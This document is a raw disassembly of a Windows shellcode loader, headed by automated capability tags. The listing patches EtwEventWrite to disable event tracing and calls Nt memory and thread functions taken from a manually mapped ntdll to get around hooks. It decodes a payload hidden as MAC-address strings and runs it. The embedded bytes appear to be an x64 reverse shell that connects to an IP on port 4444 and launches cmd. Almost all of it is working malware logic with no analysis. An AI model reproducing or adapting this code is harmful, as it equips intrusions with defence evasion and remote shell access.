Function at 0x401460
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0x1b8], eax
cmp dword [ebp + 8], 4
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
je 0x4014af
push dword [edi]
push str.___Usage:__s__RemoteIP___RemotePort___Resource__n
call fcn.00401040
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.004020bc
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x170]
mov dword [esp + 0x158], 0
push eax
lea eax, [esp + 0x16c]
mov dword [esp + 0x174], 0x45777445
push eax
mov dword [esp + 0x17c], 0x746e6576
mov dword [esp + 0x180], 0x74697257
mov word [esp + 0x184], 0x65
mov dword [esp + 0x170], 0x6c64746e
mov word [esp + 0x174], 0x6c
mov dword [esp + 0x14], 0xc3c03348
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x40152c
mov esi, str.Failed_to_get_EtwEventWrite_Addr___u__n
jmp 0x401575
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x158]
push eax
push 0x40
push 0x1000
push esi
call ebx
test eax, eax
jne 0x40154f
mov esi, str.Failed_in_changing_protection___u__n
jmp 0x401575
mov eax, dword [esp + 0xc]
mov dword [esi], eax
lea eax, [esp + 0x158]
push eax
push dword [esp + 0x15c]
push 0x1000
push esi
call ebx
test eax, eax
jne 0x4015a9
mov esi, str.Failed_in_changing_protection_back___u__n
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
call fcn.00401040
push str.Failed_in_patching_ETW_n
call fcn.00401040
add esp, 0xc
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.004020bc
mov esp, ebp
pop ebp
ret
push dword [edi + 8]
mov ebx, dword [edi + 4]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edi, dword [edi + 0xc]
mov esi, ebx
add esp, 4
mov dword [esp + 0x10], eax
mov dword [esp + 0x168], edi
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4015d0
sub esi, ecx
mov edx, 2
inc esi
xor ecx, ecx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040210d
add esp, 4
mov dword [esp + 0x14], eax
push esi
push ebx
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
add esp, 0xc
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x401608
sub edi, ecx
mov edx, 2
inc edi
xor ecx, ecx
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040210d
add esp, 4
mov esi, eax
push edi
mov edi, dword [esp + 0x16c]
push edi
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov edx, dword [esp + 0x1c]
add esp, 0xc
mov ecx, dword [esp + 0x14]
push esi
call fcn.004011d0
add esp, 4
mov dword [esp + 0x14], edx
mov esi, eax
push dword [esp + 0x10]
push ebx
push edi
push str._n___Got__s_from__s:_d_n_n
call fcn.00401040
mov edi, dword [esp + 0x24]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 0x14
mov ebx, eax
mov dword [esp + 0x168], ebx
push edi
push esi
push ebx
call sub.VCRUNTIME140.dll_memcpy
mov esi, dword [ebx + 0x3c]
add esp, 0xc
add esi, ebx
mov dword [esp + 0xc], esi
push 0x40
push 0x3000
push dword [esi + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esi + 0x54]
mov edi, eax
push ebx
push edi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [esi + 0x14]
xor ecx, ecx
add esp, 0xc
add eax, 0x2c
xor ebx, ebx
cmp cx, word [esi + 6]
jae 0x4016ff
add esi, eax
nop dword [eax + eax]
push dword [esi - 4]
mov eax, dword [esi]
add eax, dword [esp + 0x16c]
push eax
mov eax, dword [esi - 8]
add eax, edi
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x18]
lea esi, [esi + 0x28]
inc ebx
add esp, 0xc
movzx eax, word [eax + 6]
cmp ebx, eax
jl 0x4016d0
mov esi, dword [esp + 0xc]
mov esi, dword [esi + 0x80]
add esi, 0xc
add esi, edi
mov dword [esp + 0x158], esi
mov eax, dword [esi]
test eax, eax
je 0x401767
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x401756
mov esi, dword [esi + 4]
add esi, edi
mov ecx, dword [esi]
test ecx, ecx
je 0x40174f
lea eax, [edi + 2]
add eax, ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
lea esi, [esi + 4]
mov dword [esi], 0
mov ecx, dword [esi]
test ecx, ecx
jne 0x401731
mov esi, dword [esp + 0x158]
mov eax, dword [esi + 0x14]
add esi, 0x14
mov dword [esp + 0x158], esi
test eax, eax
jne 0x401717
mov eax, dword [esp + 0xc]
xor ebx, ebx
movaps xmm0, xmmword [str.NtAllocateVirtuaNtProtectVirtualNtCreateThreadEx]
mov esi, dword [eax + 0x78]
mov eax, dword [esi + edi + 0x20]
add esi, edi
add eax, edi
mov dword [esp + 0xc], eax
mov ecx, dword [esi + 0x1c]
add ecx, edi
mov dword [esp + 0x10], ecx
mov ecx, dword [esi + 0x24]
add ecx, edi
mov dword [esp + 0x190], 0x6d654d6c
movups xmmword [esp + 0x180], xmm0
mov dword [esp + 0x194], 0x79726f
mov dword [esp + 0x158], ecx
mov ecx, eax
cmp dword [esi + 0x14], ebx
jbe 0x4017f5
nop dword [eax]
mov eax, dword [ecx]
add ecx, 4
mov dword [esp + 0x168], ecx
add eax, edi
lea ecx, [esp + 0x180]
push ecx
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x401875
mov ecx, dword [esp + 0x168]
inc ebx
cmp ebx, dword [esi + 0x14]
jb 0x4017c0
xor ebx, ebx
lea eax, [esp + 0x15c]
mov dword [esp + 0x15c], 0
push eax
push 0x20
push dword [esp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push str.___Mapped_ntdll____p_n
call fcn.00401040
add esp, 8
test ebx, ebx
je 0x4018a6
push 4
push 0x3000
push 0x405018
push 0
push 0x4053f4
push 0xffffffffffffffff
call ebx
add esp, 0x18
test eax, eax
jns 0x40188e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_in_sysZwAllocateVirtualMemory___u__n
call fcn.00401040
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.004020bc
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x158]
movzx eax, word [eax + ebx*2]
mov ebx, dword [esp + 0x10]
mov ebx, dword [ebx + eax*4]
add ebx, edi
jmp 0x4017f7
push ebx
push str._n___NtAll0catedV1rtualMem0ry____p_n
call fcn.00401040
push str.___NtAll0catedV1rtualMem0ry_Executed_____n
call fcn.00401040
add esp, 0xc
mov eax, dword [0x4053f4]
xor ebx, ebx
mov dword [esp + 0x18], str.FC_48_83_E4_F0_E8
mov dword [esp + 0x1c], str.C0_00_00_00_41_51
mov dword [esp + 0x20], str.41_50_52_51_56_48
mov dword [esp + 0x24], str.31_D2_65_48_8B_52
mov dword [esp + 0x28], str.60_48_8B_52_18_48
mov dword [esp + 0x2c], str.8B_52_20_48_8B_72
mov dword [esp + 0x30], str.50_48_0F_B7_4A_4A
mov dword [esp + 0x34], str.4D_31_C9_48_31_C0
mov dword [esp + 0x38], str.AC_3C_61_7C_02_2C
mov dword [esp + 0x3c], str.20_41_C1_C9_0D_41
mov dword [esp + 0x40], str.01_C1_E2_ED_52_41
mov dword [esp + 0x44], str.51_48_8B_52_20_8B
mov dword [esp + 0x48], str.42_3C_48_01_D0_8B
mov dword [esp + 0x4c], str.80_88_00_00_00_48
mov dword [esp + 0x50], str.85_C0_74_67_48_01
mov dword [esp + 0x54], str.D0_50_8B_48_18_44
mov dword [esp + 0x58], str.8B_40_20_49_01_D0
mov dword [esp + 0x5c], str.E3_56_48_FF_C9_41
mov dword [esp + 0x60], str.8B_34_88_48_01_D6
mov dword [esp + 0x64], str.4D_31_C9_48_31_C0
mov dword [esp + 0x68], str.AC_41_C1_C9_0D_41
mov dword [esp + 0x6c], str.01_C1_38_E0_75_F1
mov dword [esp + 0x70], str.4C_03_4C_24_08_45
mov dword [esp + 0x74], str.39_D1_75_D8_58_44
mov dword [esp + 0x78], str.8B_40_24_49_01_D0
mov dword [esp + 0x7c], str.66_41_8B_0C_48_44
mov dword [esp + 0x80], str.8B_40_1C_49_01_D0
mov dword [esp + 0x84], str.41_8B_04_88_48_01
mov dword [esp + 0x88], str.D0_41_58_41_58_5E
mov dword [esp + 0x8c], str.59_5A_41_58_41_59
mov dword [esp + 0x90], str.41_5A_48_83_EC_20
mov dword [esp + 0x94], str.41_52_FF_E0_58_41
mov dword [esp + 0x98], str.59_5A_48_8B_12_E9
mov dword [esp + 0x9c], str.57_FF_FF_FF_5D_49
mov dword [esp + 0xa0], str.BE_77_73_32_5F_33
mov dword [esp + 0xa4], str.32_00_00_41_56_49
mov dword [esp + 0xa8], str.89_E6_48_81_EC_A0
mov dword [esp + 0xac], str.01_00_00_49_89_E5
mov dword [esp + 0xb0], str.49_BC_02_00_11_5C
mov dword [esp + 0xb4], str.0A_01_05_68_41_54
mov dword [esp + 0xb8], str.49_89_E4_4C_89_F1
mov dword [esp + 0xbc], str.41_BA_4C_77_26_07
mov dword [esp + 0xc0], str.FF_D5_4C_89_EA_68
mov dword [esp + 0xc4], str.01_01_00_00_59_41
mov dword [esp + 0xc8], str.BA_29_80_6B_00_FF
mov dword [esp + 0xcc], str.D5_50_50_4D_31_C9
mov dword [esp + 0xd0], str.4D_31_C0_48_FF_C0
mov dword [esp + 0xd4], str.48_89_C2_48_FF_C0
mov dword [esp + 0xd8], str.48_89_C1_41_BA_EA
mov dword [esp + 0xdc], str.0F_DF_E0_FF_D5_48
mov dword [esp + 0xe0], str.89_C7_6A_10_41_58
mov dword [esp + 0xe4], str.4C_89_E2_48_89_F9
mov dword [esp + 0xe8], str.41_BA_99_A5_74_61
mov dword [esp + 0xec], str.FF_D5_48_81_C4_40
mov dword [esp + 0xf0], str.02_00_00_49_B8_63
mov dword [esp + 0xf4], str.6D_64_00_00_00_00
mov dword [esp + 0xf8], str.00_41_50_41_50_48
mov dword [esp + 0xfc], str.89_E2_57_57_57_4D
mov dword [esp + 0x100], str.31_C0_6A_0D_59_41
mov dword [esp + 0x104], str.50_E2_FC_66_C7_44
mov dword [esp + 0x108], str.24_54_01_01_48_8D
mov dword [esp + 0x10c], str.44_24_18_C6_00_68
mov dword [esp + 0x110], str.48_89_E6_56_50_41
mov dword [esp + 0x114], str.50_41_50_41_50_49
mov dword [esp + 0x118], str.FF_C0_41_50_49_FF
mov dword [esp + 0x11c], str.C8_4D_89_C1_4C_89
mov dword [esp + 0x120], str.C1_41_BA_79_CC_3F
mov dword [esp + 0x124], str.86_FF_D5_48_31_D2
mov dword [esp + 0x128], str.48_FF_CA_8B_0E_41
mov dword [esp + 0x12c], str.BA_08_87_1D_60_FF
mov dword [esp + 0x130], str.D5_BB_E0_1D_2A_0A
mov dword [esp + 0x134], str.41_BA_A6_95_BD_9D
mov dword [esp + 0x138], str.FF_D5_48_83_C4_28
mov dword [esp + 0x13c], str.3C_06_7C_0A_80_FB
mov dword [esp + 0x140], str.E0_75_05_BB_47_13
mov dword [esp + 0x144], str.72_6F_6A_00_59_41
mov dword [esp + 0x148], str.89_DA_FF_D5_90_90
mov dword [esp + 0x154], 0
mov dword [esp + 0x168], eax
push eax
lea eax, [esp + 0x158]
push eax
push dword [esp + ebx*4 + 0x20]
call dword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
test eax, eax
js 0x401e49
mov eax, dword [esp + 0x168]
inc ebx
add eax, 6
mov dword [esp + 0x168], eax
cmp ebx, 0x4d
jl 0x401bc0
movaps xmm0, xmmword [0x403c10]
xor ebx, ebx
mov ecx, dword [esp + 0xc]
mov edx, ecx
movups xmmword [esp + 0x198], xmm0
mov dword [esp + 0x1a8], 0x6f6d654d
mov word [esp + 0x1ac], 0x7972
mov byte [esp + 0x1ae], 0
cmp dword [esi + 0x14], ebx
jbe 0x401ce5
nop
mov eax, dword [edx]
lea ecx, [esp + 0x198]
add eax, edi
add edx, 4
push ecx
push eax
mov dword [esp + 0x170], edx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x401c66
mov edx, dword [esp + 0x168]
inc ebx
cmp ebx, dword [esi + 0x14]
jb 0x401c30
jmp 0x401ce1
mov eax, dword [esp + 0x158]
mov ecx, dword [esp + 0x10]
movzx eax, word [eax + ebx*2]
mov ebx, dword [ecx + eax*4]
add ebx, edi
je 0x401ce1
lea eax, [esp + 0x15c]
push eax
push 0x20
push 0x405018
push 0x4053f4
push 0xffffffffffffffff
call ebx
add esp, 0x14
test eax, eax
jns 0x401cc9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_in_NtPr0tectV1rtualM3mory___u__n
call fcn.00401040
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.004020bc
mov esp, ebp
pop ebp
ret
push ebx
push str._n___NtPr0tectV1rtualMem0ry____p_n
call fcn.00401040
push str.___NtPr0tectV1rtualMem0ry_Executed_____n
call fcn.00401040
add esp, 0xc
mov ecx, dword [esp + 0xc]
movaps xmm0, xmmword [0x403c20]
xor ebx, ebx
movups xmmword [esp + 0x1b0], xmm0
mov byte [esp + 0x1c0], 0
cmp dword [esi + 0x14], ebx
jbe 0x401dbc
mov eax, dword [ecx]
add ecx, 4
mov dword [esp + 0xc], ecx
add eax, edi
lea ecx, [esp + 0x1b0]
push ecx
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x401d37
mov ecx, dword [esp + 0xc]
inc ebx
cmp ebx, dword [esi + 0x14]
jb 0x401d07
jmp 0x401dbc
mov eax, dword [esp + 0x158]
mov ecx, dword [esp + 0x10]
movzx eax, word [eax + ebx*2]
mov esi, dword [ecx + eax*4]
add esi, edi
je 0x401dbc
push 0
push 0
push 0
push 0
push 0
push 0
push dword [0x4053f4]
push 0xffffffffffffffff
push 0
push 0x1fffff
push 0x40501c
call esi
add esp, 0x2c
test eax, eax
jns 0x401da4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_in_NtCr3at3Thr3adEx___u__n
call fcn.00401040
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.004020bc
mov esp, ebp
pop ebp
ret
push esi
push str._n___NtCr3at3Thr3adEx____p_n
call fcn.00401040
push str.___NtCr3at3Thr3adEx_Executed_____n
call fcn.00401040
add esp, 0xc
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0xff676980
push eax
push 0
push dword [0x40501c]
mov dword [esp + 0x170], 0xffffffff
call dword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x401e1a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_in_NtWa1tF0rS1ngle0bj3ct___u__n
call fcn.00401040
add esp, 8
mov eax, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.004020bc
mov esp, ebp
pop ebp
ret
push str._n___NtWa1tF0rS1ngle0bj3ct_Executed_____n
call fcn.00401040
add esp, 4
push str._n_n___Finished______n
call fcn.00401040
add esp, 4
lea eax, [esp + 0x15c]
push eax
push 2
push dword [esp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [esp + 0x1c4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004020bc
mov esp, ebp
pop ebp
ret